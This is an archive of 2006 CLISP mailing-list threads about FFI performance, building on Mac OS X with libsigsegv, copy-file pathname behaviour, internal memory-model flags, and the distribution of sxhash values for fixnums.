> NEW-CLX in the CLISP source tree.  Are there some applications that
> only work with one of them?

NEW-CLX, being implemented in C, is faster than MIT-CLX.
it was written to run garnet reasonably fast and indeed that is just
about the only thing it has been tested with.
it is incomplete though, and we do need a C/Xlib/Lisp/CLX expert to
finish it and make sure it is fully compatible.



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Date: Wed May 24 07:54:02 2006
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Joerg,

Thanks for the response.  I sent a follow-up to my
original message that hasn't filtered through to the
list yet.  In short, I tried 

> Please try (setf (slot sys_var 'n) 3)

and also the exceptionally messy array accessor

(setf (element (deref (cast (slot sys_var 'vals) 
       '(c-ptr (c-array double-float (slot sys_var
'n))))) 0) 10d0)

I then compared the speed of these to indirect access
of the memory through foreign C functions.  I found
that (slot sys_var 'n) was substantially slower than
calling a C function that returns or sets the value of
sys_var.n on the other side.  For that extreme array
example, it was no contest whatsoever.

> As you see, it's different from the concept where a
> CLOS instance mirrors a foreign location in a
> proxy-like way.  With the FFI, there's no mirror,
> just a one-time snapshot copy.

My program requires a sizable amount of interaction
between Lisp and C through this data structure, but
copying the entire object back and forth each time
seems too extreme.

On the plus side, I ran a test comparing to an
original "all C" solution to the mixed Lisp and C
version and the the penalty was only an extra 1/6th of
the original's time (which amounts to 0.001s).  I
think that's entirely due to the speed hit for
accessing slots through a C function (generally 4
times slower than a direct access by CLISP on a
similar Lisp structure).  It may seem picky to be
concerned about 1/1000th of a second, but in some
cases this operation will be called a few thousand
times, if not more, while a user waits to see the
response. 

Cheers~

Will


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Will writes:
> [...]  It may seem picky to be
> concerned about 1/1000th of a second, but in some
> cases this operation will be called a few thousand
> times, if not more, while a user waits to see the
> response. 

Perhaps you should separate more the C from the lisp.  Have a smaller
interface!  Leave the C data being accessed by the C code, and the
lisp data being acceed by the lisp code, and don't try to cross the
border so often.

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I try to summarize some of the problems encountered trying to build
clisp 2.38 on Mac 
Fred Cohen writes:
 > Configure findings:
 >    FFI:        yes (user requested: default)
 >    readline:   no (user requested: default)
 >    libsigsegv: no, consider installing GNU libsigsegv
 > ./configure: libsigsegv was not detected, thus some features, such as
 >    generational garbage collection and
 >    stack overflow detection in interpreted Lisp code
 > cannot be provided.
 > Please do this:
 >    mkdir tools; cd tools; prefix=`pwd`/powerpc-apple-darwin8.6.0
 >    wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
 >    tar xfz libsigsegv-2.2.tar.gz
...

BTW, I think it would be really nice to include libsigsegv with clisp,
or at least (semi?) automate its retrieval.

I think just below is the result of trying to follow directions from
just above:
 > make TARGETSTACK=" all" all-recursive
 > Making all in src
 > /bin/sh ../libtool --tag=CC --mode=compile gcc -DHAVE_CONFIG_H -I. - 
 > I. -I.. -I. -I.    -g -O2 -c -o handler.lo handler.c
 > gcc -DHAVE_CONFIG_H -I. -I. -I.. -I. -I. -g -O2 -c handler.c -o  
 > handler.o
 > In file included from handler-macos.c:19,
 >                   from handler.c:20:
 > sigsegv.h:84: error: parse error before '*' token
 > sigsegv.h:84: warning: data definition has no type or storage class
 > sigsegv.h:93: error: parse error before 'stackoverflow_context_t'
 > make[2]: *** [handler.lo] Error 1
 > make[1]: *** [all-recursive] Error 1
 > make: *** [all] Error 2

I noticed at http://libsigsegv.sourceforge.net/ 
that there's now 2.3, and that seems to build on mac.
Perhaps the directions should suggest 2.3 instead of 2.2.

 > PASS: stackoverflow2
 > ==================
 > All 4 tests passed
 > ==================
 > 
 > Please send the following summary line via email to the author
 > Bruno Haible <bruno@clisp.org> for inclusion into the list of
 > successfully tested platforms (see PORTING file).  Please also
 > send the config.log file; this will help improving portability
 > of the package.
 > 
 > libsigsegv: powerpc-apple-darwin8.6.0 | yes | yes | 2.3

I hope this will suffice as the first requested report.
If this is really new info and the log file is useful I can try to
get it.

 > Then please type 'make install' to install the package.
should say "as root", of course

After install of libsigsegv 2.3:
 > Configure findings:
 >    FFI:        yes (user requested: default)
 >    readline:   no (user requested: default)
 >    libsigsegv: no, consider installing GNU libsigsegv
 > ./configure: libsigsegv was not detected, thus some features, such as
 >    generational garbage collection and
 >    stack overflow detection in interpreted Lisp code
 > cannot be provided.
 ...
Even though
 >  > find /usr/local -name "*sigsev*"
 > /usr/local/include/sigsegv.h
 > /usr/local/lib/libsigsegv.a
 > /usr/local/lib/libsigsegv.la
 >  > find /sw -name "*readline*"
 > /sw//lib/clisp/base/libnoreadline.a
 > /sw//lib/clisp/full/libnoreadline.a

Fred Cohen writes:
 > I think there is a problem with making things clean... all of those  
 > cached values in the configure may have been the problem. I  
 > regenerated a lisp directory from the tar file and did a new run and  
 > it seems to have now found the new libsigsev... working on it.

so something else to be fixed

Fred Cohen writes:
 > RUN-TEST: finished "excepsit" (0 errors out of 372 tests)
 > finished  49 files:              32 errors out of  10,596 tests
...
 > 33                    socket:   32 errors out of     60 tests

 > Fred Cohen writes:
 >  Form: (DEFPARAMETER *SERVER* (SOCKET-SERVER))
 >  CORRECT: *SERVER*
 >  CLISP  : ERROR
 >  UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address
...
 > As root or not...
 > [1]> (socket-server 12345)
 > 
 > *** - UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address
 > The following restarts are available:
 > ABORT          :R1      ABORT
 > Break 1 [2]>

so consider that another bug report.

He's currently trying to figure out how to make rawsock stuff work.
If anyone has experience with Mac using raw sockets, advice would
be appreciated.  Current questions include
- what configdev can do and what arguments to make it do those things
- how to make an interface promiscuous
- what arguments to pass to socket 


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Don Cohen writes:

>I try to summarize some of the problems encountered trying to build
>clisp 2.38 on Mac. Fred Cohen writes:
> > RUN-TEST: finished "excepsit" (0 errors out of 372 tests)
> > 33                    socket:   32 errors out of     60 tests

I'm surprised because I was convinced that you participated in mailing list discussions in January (here and/or in clisp-devel).  Thus I'd thought you know that CVS past 2.38 contains important MacOS fixes in the area you mention.  The above looks exactly like one of the fixed bugs.

>Perhaps the directions should suggest 2.3 instead of 2.2.
Sam Steingold already did this for CVS immediately after 2.3 was announced.

For the other things you mention (e.g. configure/cache), I believe you're correct.

I'm sorry if you have trouble accessing CVS.  I also understand when people prefer to try out releases instead of being directed to CVS trees.  I feel like that about SLIME.

>If anyone has experience with Mac using raw sockets, advice would
>be appreciated.  Current questions include
>- what configdev can do and what arguments to make it do those things
>- how to make an interface promiscuous
>- what arguments to pass to socket 

Regards,
	Jorg Hohle.


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Hoehle, Joerg-Cyril writes:
 > Don Cohen writes:
 > > > 33                    socket:   32 errors out of     60 tests

 > I'm surprised because I was convinced that you participated in
 > mailing list discussions in January (here and/or in clisp-devel).
 > Thus I'd thought you know that CVS past 2.38 contains important
 > MacOS fixes in the area you mention.  The above looks exactly like
 > one of the fixed bugs.

I have generally not followed MacOS issues.  I did know about another
issue with socket-server affecting linux, but that didn't result in 
an error when just calling with no arguments, and didn't result in 
failure of the tests.

Now that I have a Mac available (temporarily) this all seems more
relevant.  I failed to find any recent binary distribution and hoped
I could get one from Fred.  What's the best way to get one?  If he
(or I) build from CVS then does it make sense to offer the result
for public distribution?  Certainly not as "2.38".  Perhaps as
2.38-<date> ?  And then perhaps with an additional entry in NEWS
describing notable differences between it and 2.38.

I think I did see a message from Fred to the list asking what to do
with a distribution, but I don't recall seeing an answer.
Could it be put at one (or more) of those sites linked from
http://clisp.sourceforge.net/ ?

One more question.  It seems to me that I've had trouble with
distributions that use libsigsegv on machines that don't have it.
Is there a way to build clisp or distribute it so that this is less
problematic?  

 > For the other things you mention (e.g. configure/cache), I believe
 > you're correct.
Does anyone have some idea how to fix that?
I suppose I could try to debug it if I tried to build from CVS.


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I would love to do that, but the nature of the
application won't allow any more separation.  The C
code that I'm calling references a user-specified,
compiled function.  As far as I'm aware, Lisp is the
snappiest language that lets me compile functions
without calling an external program (e.g., gcc).  Of
the free Lisp implementations, Clisp seems to have the
best support for call-ins from C.

Unfortunately, there seems to be no Lisp alternative
for the C code that I need to use.  CVODES solves
systems of ODEs and performs two types of sensitivity
analysis.

Nevertheless, I think the real issue here is the FFI's
speed in accessing C data.  The most direct method of
access results in a substantial performance hit, even
compared to a C function call.  It's not just the
number of nested Lisp functions that I have to go
through either.  The FFI:slot function is itself
unexpectedly slow.

Best,

Will

--- Pascal Bourguignon <pjb@informatimago.com> wrote:

> Will writes:
> > [...]  It may seem picky to be
> > concerned about 1/1000th of a second, but in some
> > cases this operation will be called a few thousand
> > times, if not more, while a user waits to see the
> > response. 
> 
> Perhaps you should separate more the C from the
> lisp.  Have a smaller
> interface!  Leave the C data being accessed by the C
> code, and the
> lisp data being acceed by the lisp code, and don't
> try to cross the
> border so often.
> 
> -- 
> __Pascal Bourguignon__                    
> http://www.informatimago.com/



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It seems that various settings got lost in this transition.

1) clisp-list delivered some spam (or more spam than usual), and
2) I received a lot of bounce messages, even from people I remember being on the mailing list, e.g. Thibault Langlois, or Kaz Kylheku [kaz@ashi.footprints.net].

The two could be related, if the receiving mail exchange recognized the spam and refused to deliver the message, as the following responses may mean:
<sbosxxxxxx@merc.mercer.edu>: host grizzly.merc.mercer.edu[63.103.169.12] said:
    550 Denied by policy. (in reply to end of DATA command)
<Herbxxxxxx@learnquick.com>: host
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    subject line #2. (in reply to end of DATA command)
It would be annoying if spam would cause auto-disable of message delivery to regular users of sourceforge lists.

I apologize for any spam we receive via the clisp mailing list.  I'll try to restore settings and hope Sourceforge will find a reasonable behaviour for its mailing lists.

Sam Steingold wrote:
>it's not just Sourceforge's spam filter.
>I assembled a lot of my own filtering rules for clisp-list, you can
>review and enhance them.
It looks like those disappeared in the transition...
The address ban list is empty in the privacy options page.

Regards,
	Jorg Hohle.


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Will wrote:

>and also the exceptionally messy array accessor
>(setf (element (deref (cast (slot sys_var 'vals)=20
>       '(c-ptr (c-array double-float (slot sys_var
>'n))))) 0) 10d0)
Indeed, it looks weird.  Would you like to explain and show more of =
what you want to achieve so that maybe people here can help you?

>The most direct method of access results in a substantial
>performance hit, ... The FFI:slot function is itself
>unexpectedly slow.

One thing to know is the following: chains of deref + cast + element + =
slot are slow but often unnecessary.  Don't call them in a loop!
Instead, you perform constant folding by hand and hold a place to the =
array.  Inside the loop, you use a single ffi:ELEMENT.

>I then compared the speed of these to indirect access
>of the memory through foreign C functions.  I found
>that (slot sys_var 'n) was substantially slower than
>calling a C function that returns or sets the value of
>sys_var.n on the other side.

It's hard to believe that foreign function calling is faster than a =
single usage of ffi:element, ffi:slot etc.  The conversion routines are =
exactly the same.

Don't do
(dotimes (i #)
  (setf (element (deref (slot x 'foo)) i) #))
Use the following pattern instead:
(with-c-var (a (deref (slot x 'foo))) ; deref all the constant path
  (dotimes (i #) (setf (element a i) #))


>My program requires a sizable amount of interaction
>between Lisp and C through this data structure, but
>copying the entire object back and forth each time
>seems too extreme.
Do you need this?

You have several choices when using the FFI:
1. work with foreign references (pointers) in Lisp,
   and only convert the fields you need when you need them.
  This is what you may know from C.
  If you go this way, I advise you use the #<FOREIGN-OBJECT> literally =
and shy away from foreign places (which encapsulate them), except when =
accessing slots.

2. work with arrays, and convert in one go, even though you may not =
need all elements.

3. work with Lisp classes whose slots are copied *once* from the =
foreign world.
  If you pass these two foreign functions, all slots are copied once =
again.

>cases this operation will be called a few thousand
>times, if not more
I'm fully with you.  I've been annoyed by people that do not recognize =
that there are bottlenecks in applications other than having a bad =
local algorithm (e.g. quicksort vs. mergesort).  I've seen system slown =
down by myriads of calls to tiny "do almost nothing" functions.  And =
there aren't easy to optimize away.
Regards,
	J=F6rg H=F6hle.


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Hello,

I've seen in the sources of clisp this flag: WIDE_AUXI that enables
the allocation of an auxiliary 32-bit value with each lisp object.
I've not noticed any use of this auxiliary value.  Is it free for my
own extensions?


Another question:
http://clisp.cons.org/impnotes/memory-models.html
mention SPVW_MIXED_BLOCK_OPPOSITE
and     SPVW_MIXED_BLOCK_STAGGERED
but SOFTWARE-TYPE 
gives these SPVW_BLOCKS and SPVW_MIXED defnes:

"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations
-DUNICODE -DDYNAMIC_FFI -I. -L/usr/local/lib  -x none libcharset.a
libavcall.a libcallback.a -lreadline -lncurses -ldl   -L/usr/local/lib
-lsigsegv -lc -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES
LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED
TRIVIALMAP_MEMORY libsigsegv 2.2 libreadline 4.3"

How can I know which of SPVW_MIXED_BLOCK_OPPOSITE or
SPVW_MIXED_BLOCK_STAGGERED is really used? 

Isn't there configure flags to force one or another memory model or to
enable WIDE_AUXI?


-- 
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occurred during shipment.


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Hello,

As those of you who have been following along on c.l.l. know I am 
trying to arrange for forms that look like ((...) ...) to not be 
treated as errors (and be treated e.g. as (funcall (...) ...).  I have 
been able to produce implementation-specific hacks that accomplish this 
for MCL and SBCL.  But CLisp has me stymied.  (From the first time I 
ever looked at the CLisp sources over ten years ago they always struck 
me as some of the most, er, challenging sources I've ever seen.)

Anyway, I got as far as hacking system::%expand-form thusly:

(defun %expand-form1 (form &aux (%whole-form form))
...
         (if (consp f)
           (if (eq (car f) 'lambda)
             (multiple-value-call #'%expand-cons form
               (%expand-lambda f)
               (%expand-list (rest form)))
             (%expand-form (munge-form form)))
           (error-of-type 'source-program-error
             :form form
             :detail form
             (TEXT "~S: invalid form ~S")
             '%expand-form form))))))

(defun munge-form (form) (cons 'funcall form))  ; For illustrative 
purposes only

but that doesn't seem to work.  It does change the behavior of the 
system in that it allows me to do this which it wouldn't before:

(defun foo () ((car (list #'cdr)) '(1 2 3)))

but if I try to actually call FOO it complains.

Anyone have any suggestions on how to proceed?

Thanks,
rg



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I've re-ordered the message a little bit to address a couple of easier
things first.

Joerg Hoehle wrote:
"It's hard to believe that foreign function calling is faster than a
single usage of ffi:element, ffi:slot etc.  The conversion routines
are exactly the same."

I just tested this again.  The output from time is listed below.  The
structure sys_var has an integer field 'n'.  Even discounting the
garbage collection, a call to slot is still slower.  The large
discrepancy in the amount of space used may hint at the difference in
the nature of the calls.  Note also that the Lisp source for the
sys_var variable was compiled before this test was run.

[8]> (time (dotimes (i 10000) (ffi:slot sys_var 'n)))
Real time: 0.052893 sec.
Run time: 0.047992 sec.
Space: 960776 Bytes
GC: 2, GC time: 0.012997 sec.
NIL
[9]> (time (dotimes (i 10000) (get_sysvar_n)))
Real time: 0.018386 sec.
Run time: 0.014997 sec.
Space: 752 Bytes

Just for comparison, consider the following:

(defstruct foo x y)
(setf f (make-foo))
(compile 'foo-x)
(time (dotimes (i 10000) (foo-x f)))
Real time: 0.013396 sec.
Run time: 0.012998 sec.
Space: 752 Bytes

Before compiling, the results were:

(time (dotimes (i 10000) (foo-x f)))
Real time: 0.04467 sec.
Run time: 0.037995 sec.
Space: 80752 Bytes
GC: 1, GC time: 0.004999 sec.


Joerg wrote:
"Don't do
(dotimes (i #)
  (setf (element (deref (slot x 'foo)) i) #))
Use the following pattern instead:
(with-c-var (a (deref (slot x 'foo))) ; deref all the constant path
  (dotimes (i #) (setf (element a i) #))"

I've been playing with this a bit, but can't get it to work correctly.
Note that I have to cast from a double-float pointer to a pointer to
an array of length n.

The obvious (to me) solution, didn't seem to work.  My assumption is
that cast will return a pointer to an array that I can then
dereference to access the elements. 

(with-c-var (a (deref (cast (slot sys_var 'vals) 
                     '(c-ptr (c-array double-float 2))))) 
    (setf (element a 1) 9d0))

Joerg Hoehle wrote: 
"Would you like to explain and show more of what you want to achieve
so that maybe people here can help you?"

I might as well.  I'll start with the back story.

I've been using a robust package for solving ordinary differential
equations, called CVODE.  The most recent implementation has a Python
program output a C file that can be compiled and linked to CVODE.  The
program runs the new executable and reads the created data file.  The
weaknesses of this approach are probably apparent.  Having a program
jump to a shell, compile a program, and then execute it is
inconvenient (i.e., slow and convoluted).  

Why does the program compile an external source file?  Two reasons:
(1) CVODE needs a compiled function that defines the system of
equations and (2) using Python's "eval" would result in even slower
execution.  I needed to rewrite the Python code anyway, and decided to
use Lisp since it will let me create and compile functions on the fly
while maintaining C-comparable speed.

The memory structures used by CVODE are fairly complex, and writing a
wrapper around CVODE appeared simpler.  Part of this wrapper is a
structure that stores the current (with respect to time in a
simulation) values of the variables determined by the set of
differential equations, the current derivatives of those variables,
and the number of variables.

typedef struct  {
  int n;
  double *vals;
  double *dot_vals;
} system_variables;

An simplified example of a Lisp function that uses these values is 

(defun cvode_model (time) (declare (ignore time))
  (set_sysvar_dotval 0
   (+ (* 0.25d0 0.75d0 (get_sysvar_val 1) (get_sysvar_val 0))
      (* -1.0d0 0.25d0 (get_sysvar_val 0))))
  (set_sysvar_dotval 1
   (+ (* -1.0d0 0.75d0 (get_sysvar_val 1) (get_sysvar_val 0))
      (* 2.0d0 (get_sysvar_val 1))))))

Where set_sysvar_dotval and get_sysvar_val are calls to C functions
that access an instantiation of the structure.  Note that it's vital
for the values recorded in dot_vals and vals and seen by both C and
Lisp to be identical.  I'll unpack this a bit.
C --> calls Lisp to get new values for sysvar.dot_vals
Lisp --> reads the numbers stored in sysvar.vals
Lisp --> sets the values of sysvar.dot_vals
C --> reads the numbers stored in sysvar.dot_vals
C --> updates the numbers in sysvar.vals according to sysvar.dot_vals
C --> calls Lisp ...

This code will be called a few thousand times during a single
simulation, and several (hundreds or more) simulations will be
performed in the course of this functions life.  So, it's somewhat
important for this to run quickly.  The above implementation is about
14% slower than a pure C solution for the few simulations that I've
tried, but other gains make the tradeoff reasonable (note: I'm talking
at the level of milliseconds here for a complete simulation).

I believe that if I were magically able to access the elements of the
structure *directly* in Lisp, by which I mean accessing them as if
they were native Lisp objects, I would at least reach equivalence with
the pure C solution.

If you made it this far, then you should reward yourself with a cup of
coffee or maybe a light snack.  I hope that the problem and my
solution are clear at a general level from the above description, and
that some of the specifics about how I need to use the FFI are also
apparent.

Best,

Will



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Dear all:

I'm trying to copy files like this:

(copy-file "../a/a/a/t.txt" "../b/b/b/u.txt")

On Windows, it works, but on Solaris, I have the following error:

nonexistent directory: #1=#P"/home/gko/test/cdr/a/a/b/b/b/"
   [Condition of type SYSTEM::SIMPLE-FILE-ERROR]

The current working directory is "$HOME/cdr/main".

To make it work, I have to issue this:

(copy-file "../a/a/a/t.txt" "../../../b/b/b/u.txt")

If I do this:

(copy-file "../a/a/a/t.txt" "../u.txt")

  - on Windows, the file is copied to "cdr/u.txt",
  - on Solaris, the file is copied to "cdr/a/a/u.txt".

Both version are clisp 2.38 taken from SourceForge.

Solaris is: SunOS omega 5.8 Generic_117350-16 sun4u sparc SUNW,Sun-Fire-V240

Georges




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> * Georges Ko <txb@txb.arg> [2006-06-09 11:00:07 +0000]:
>
> I'm trying to copy files like this:
>
> (copy-file "../a/a/a/t.txt" "../b/b/b/u.txt")
>
> On Windows, it works, but on Solaris, I have the following error:
>
> nonexistent directory: #1=#P"/home/gko/test/cdr/a/a/b/b/b/"
>    [Condition of type SYSTEM::SIMPLE-FILE-ERROR]

this is not how clisp prints errors.
you are using slime (or something), right?
is it possible that it sets some variables?
(slime may start clisp with the "-ansi" option;
are you running slime on both machines?)

please take a look at:
http://clisp.cons.org/impnotes/filename-dict.html#pathmerge
if your settings on these two machines are identical
(CUSTOM:*MERGE-PATHNAMES-ANSI*, *DEFAULT-PATHNAME-DEFAULTS* &c)
then please file a bug report on the SF bug tracker.
please make your bug report clear and self-contained.
specifically, please include all the necessary commands in a
cut-and-pasteable format. e.g.:

mkdir -p foo/bar/baz
mkdir -p foo/a/b/c/d
date > foo/a/b/c/d/zot
mkdir -p foo/1/2/3/4
cd foo/1/2
clisp -q -norc -x '(copy-file "../../a/b/c/d/zot" "../../1/2/3/4/quux")'
# prints: ((#P"/home/sds/foo/a/b/c/d/zot" #P"/home/sds/foo/1/2/3/4/quux" 29))
cd ../../../
rm -rfv foo

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I managed to follow the instructions, more or less, almost without
incident, and have left the result in
http://don-eve.dyndns.org//clisp-2.38-powerpc-apple-darwin8.6.0-8.6.0.tar.gz

This was built from CVS as of about a day ago (plus whatever delay
sourceforge adds), with libsigsegv-2.3, without readline, with module
rawsock. 

It took a while to figure out how to get current source.
It would have helped me if this had been in the INSTALL file: 
 $ cvs -d :pserver:anonymous@clisp.cvs.sourceforge.net/cvsroot/clisp co clisp
The only other problem I had was that something in the configure
script went into an infinite loop when I ran it from a shell inside
xemacs.  The last thing it printed was
 checking whether signal handlers need to be reinstalled... 
I ran it from an xterm without problem.
It just now  occurs to me that X11 was installed on this system just
before building clisp.  I can imagine that this might have been
required for the build.  If so, it was a lucky coincidence.

I hope this is useful to someone.  I would be interested in finding
out how well it works on other Macs.  I assume you have to install
libsigsegv before you can follow the directions in README - which
suggests that it ought to say something about that.  What else is
required?  Tiger?


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Sam Steingold <sds@podval.org> writes:

>> (copy-file "../a/a/a/t.txt" "../b/b/b/u.txt")
>>
>> On Windows, it works, but on Solaris, I have the following error:
>>
>> nonexistent directory: #1=#P"/home/gko/test/cdr/a/a/b/b/b/"
>>    [Condition of type SYSTEM::SIMPLE-FILE-ERROR]
>
> please take a look at:
> http://clisp.cons.org/impnotes/filename-dict.html#pathmerge

OK, I got it, thanks.

So, my solutions are:

1) set custom:*merge-pathnames-ansi* to nil,
2) not using the -ansi flag,
3) change the path of destination.

Any reason why merge-pathnames is used in copy-file? So that
incomplete pathnames can be used in its arguments?

Georges
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Pascal Bourguignon asked:
> WIDE_AUXI that enables
> the allocation of an auxiliary 32-bit value with each lisp object.
> I've not noticed any use of this auxiliary value.  Is it free for my
> own extensions?

Yes. WIDE_AUXI is currently not used; it was a test configuration for
DEBUG_GCSAFETY. It was kept because it may be useful someday.

> How can I know which of SPVW_MIXED_BLOCK_OPPOSITE or
> SPVW_MIXED_BLOCK_STAGGERED is really used?

Allocate two conses and compare their sys::address-of values.
That is, if you _really_ want to know. This is one of the details
that should never matter.

> Isn't there configure flags to force one or another memory model or to
> enable WIDE_AUXI?

No, you are expert enough to modify your Makefile by hand.

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Ron Garret wrote:
> trying to arrange for forms that look like ((...) ...) to not be 
> treated as errors (and be treated e.g. as (funcall (...) ...).

You can define your own syntaxes through macros:
  (defmacro scheme (scheme-form)
    <common-lisp expansion of scheme-form>
  )

> Anyway, I got as far as hacking system::%expand-form thusly:
> but that doesn't seem to work.

The evaluation rules are coded in 3 places in clisp:
- eval1 in eval.d,
- sys::%expand-form in init.lisp,
- compiler::c-form in compiler.lisp.

Bruno


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Don Cohen wrote:
> Here's a long standing problem that I only now begin to think of as a
> clisp bug.  Let's see what the rest of you think.
> Consider a batch file with a command like
>  clisp -i start.lsp -p MYPKG
> The behavior I see suggests that this is interpreted as something like
>  (progn (load "start.lsp")(in-package "MYPKG"))
>  
> The problem is that if the load breaks and the user aborts then he
> doesn't end up in MYPKG.

The command
      clisp -i start.lisp -p MYPKG
is meant to enable you, as a programmer, to work in package MYPKG,
package defined in start.lisp, with the functions defined in start.lisp.
Not less, not more.

If loading start.lisp already breaks, it does not make sense to drop
the user into package MYPKG: The package might not yet exist, or it
might be empty or incomplete.

If you wish a different behaviour, you can achieve it through the -x
option.

Bruno


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> * Don Cohen <qba-fbheprsbetr-kk@vfvf.pf3-vap.pbz> [2006-05-30 07:31:13 -0700]:
>
> One more question.  It seems to me that I've had trouble with
> distributions that use libsigsegv on machines that don't have it.  Is
> there a way to build clisp or distribute it so that this is less
> problematic?

https://sourceforge.net/tracker/?func=detail&aid=1237776&group_id=1355&atid=101355


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(loop for i from 1 to 10 do (princ " ")(prin1 (- (sxhash i) (sxhash(1- i)))))

clisp:  32 32 32 32 32 32 32 32 32 32
sbcl:   16 17 16 -115 16 17 16 149 16 17
cmucl:  1 1 1 1 1 1 1 1 1 1
gcl:    1 1 1 1 1 1 1 1 1 1
ecl:    247599786 110122623 -16536912 -12603779 -282139104 329412148 
        74867061 -242671325 116844443 132495665


When used to implement hash-table like structures, the clisp sxhash
function on fixnum gives an undesirable bad behavior

Note that the specification of sxhash says:

4.
     The hash-code is intended for hashing.  This places no verifiable
     constraint on a conforming implementation, but the intent is that an
     implementation should make a good-faith effort to produce hash-codes
     that are well distributed within the range of non-negative fixnums.

Obviously, clisp's sxhash on fixnum is not well distributed.

I think that for fixnums, returning the fixnum value itself would be a
good behavior for sxhash (that's what cmucl and gcl do).

(defun sxhash (x)
  (typecase x
     (fixnum x)
     ...))


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> * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-06-15 01:00:10 +0200]:
>
> (loop for i from 1 to 10 do (princ " ")(prin1 (- (sxhash i) (sxhash(1- i)))))
>
> clisp:  32 32 32 32 32 32 32 32 32 32
> sbcl:   16 17 16 -115 16 17 16 149 16 17
> cmucl:  1 1 1 1 1 1 1 1 1 1
> gcl:    1 1 1 1 1 1 1 1 1 1
> ecl:    247599786 110122623 -16536912 -12603779 -282139104 329412148 
>         74867061 -242671325 116844443 132495665
>
>
> When used to implement hash-table like structures, the clisp sxhash
> function on fixnum gives an undesirable bad behavior
>
> Note that the specification of sxhash says:
>
> 4.
>      The hash-code is intended for hashing.  This places no verifiable
>      constraint on a conforming implementation, but the intent is that an
>      implementation should make a good-faith effort to produce hash-codes
>      that are well distributed within the range of non-negative fixnums.
>
> Obviously, clisp's sxhash on fixnum is not well distributed.
>
> I think that for fixnums, returning the fixnum value itself would be a
> good behavior for sxhash (that's what cmucl and gcl do).
>
> (defun sxhash (x)
>   (typecase x
>      (fixnum x)
>      ...))

I am confused.
how is clisp behavior worse than that of cmucl and gcl?!

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Sam Steingold <sds@podval.org> writes:

> how is clisp behavior worse than that of cmucl and gcl?!

CMUCL and GCL have hash values that differ by one for each consecutive
fixnum, while CLISP's differ by 32. The means CLISP exhausts the hash
space 32 times faster and make no use of the 31 other values in
between, assuming that Pascal's pattern would hold steady for a very
large range of fixnums.

For what it's worth, running the same test on my CLISP here (2.38 on
Cygwin) shows a difference of 128 for as high as I dare count.

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> * Steven E. Harris <fru@cnavk.pbz> [2006-06-14 16:30:17 -0700]:
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> Sam Steingold <sds@podval.org> writes:
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>> how is clisp behavior worse than that of cmucl and gcl?!
>
> CMUCL and GCL have hash values that differ by one for each consecutive
> fixnum, while CLISP's differ by 32. The means CLISP exhausts the hash
> space 32 times faster and make no use of the 31 other values in
> between, assuming that Pascal's pattern would hold steady for a very
> large range of fixnums.

"exhaust"?!
what do you mean _exactly_?

the contract of sxhash is suitability as a hashing function.
I don't see it violated.

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Sam Steingold <sds@podval.org> writes:

> "exhaust"?!
> what do you mean _exactly_?

There was a hidden assumption in my thinking. If the value of sxhash
is used as a hash key directly, the keys in CLISP collide more
often. That would matter if some hash table was using
most-positive-fixnum buckets. Assuming that such spacious hash tables
are rare, the sxhash key would need to be mapped to the bucket count
again, in which case the spacing between sxhash keys is less
important.

> the contract of sxhash is suitability as a hashing function.
> I don't see it violated.

I didn't suggest that it was violated. I was only commenting that if
the goal of a hashing function is to produce semi-unique keys for
different values, the keys produced by CLISP are less unique than
those produced by the other implementations we mentioned, and hence
warranted discussion. As I said above, being less unique doesn't
necessarily condemn the behavior of a hash table making proper use of
these keys. Looking at just the keys in isolation may be too narrow a
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> * Steven E. Harris <fru@cnavk.pbz> [2006-06-15 08:16:44 -0700]:
>
> I didn't suggest that it was violated. I was only commenting that if
> the goal of a hashing function is to produce semi-unique keys for
> different values, the keys produced by CLISP are less unique than
> those produced by the other implementations we mentioned, and hence
> warranted discussion. As I said above, being less unique doesn't
> necessarily condemn the behavior of a hash table making proper use of
> these keys. Looking at just the keys in isolation may be too narrow a
> view.

what does "less unique" mean?
please offer a sensible test (in lisp, if possible), and demonstrate
that it fails on clisp and passes on other implementations.

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Sam Steingold <sds@podval.org> writes:

> what does "less unique" mean?

It means the sxhash produces the same value more often over the same
input range.

> please offer a sensible test (in lisp, if possible), and demonstrate
> that it fails on clisp and passes on other implementations.

Again, I never said there was any kind of failure to be found here. I
was just adding reaction to the OP's observation.

Experimenting with CLISP demonstrated that my concerns were unfounded,
because wrapping around from the largest sxhash key back to the
smallest does not produce the same key. That is,

  (sxhash 0)

and

  (sxhash (ceiling (/ most-positive-fixnum 128)))

do not produce the same key. Here is more code to help explore my
misconception:


(defun show-fixnum-key (n hash &optional (stream *standard-output*))
  (declare (fixnum n))
  (format stream "~D -> ~D~%" n (funcall hash n)))


(defun show-key-wrap (&optional (hash-func #'sxhash))
  (loop with top = (floor (/ most-positive-fixnum
                             #+(and clisp cygwin) 128
                             #+(and clisp (not cygwin)) 32
                             ;; ...
                             ))
        for n in (list 0 1
                       top (1+ top) (+ top 2))
        do (show-fixnum-key n hash-func)))

(show-key-wrap)


This produces the following output:

0 -> 7
1 -> 135
131071 -> 16777095
131072 -> 8
131073 -> 136


Now, I had misjudged the CLISP sxhash; I thought it was acting more
like this:

(defun worse-sxhash (n)
  (declare (fixnum n))
  (logand (* n 128) most-positive-fixnum))

(show-key-wrap #'worse-sxhash)


Which produces this output:

0 -> 0
1 -> 128
131071 -> 16777088
131072 -> 0
131073 -> 128


In the latter case, (worse-)sxhash produces the same key for every (/
most-positive-fixnum 128) input, which is "less unique" that producing
a different value for every fixnum. However, the real CLISP sxhash
does not behave as I had suspected, so I withdraw my concern.

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Sam Steingold writes:
> > * Pascal Bourguignon <cwo@vasbezngvzntb.pbz> [2006-06-15 01:00:10 +0200]:
> >
> > (loop for i from 1 to 10 do (princ " ")(prin1 (- (sxhash i) (sxhash(1- i)))))
> >
> > clisp:  32 32 32 32 32 32 32 32 32 32
> > sbcl:   16 17 16 -115 16 17 16 149 16 17
> > cmucl:  1 1 1 1 1 1 1 1 1 1
> > gcl:    1 1 1 1 1 1 1 1 1 1
> > ecl:    247599786 110122623 -16536912 -12603779 -282139104 329412148 
> >         74867061 -242671325 116844443 132495665
> >
> >
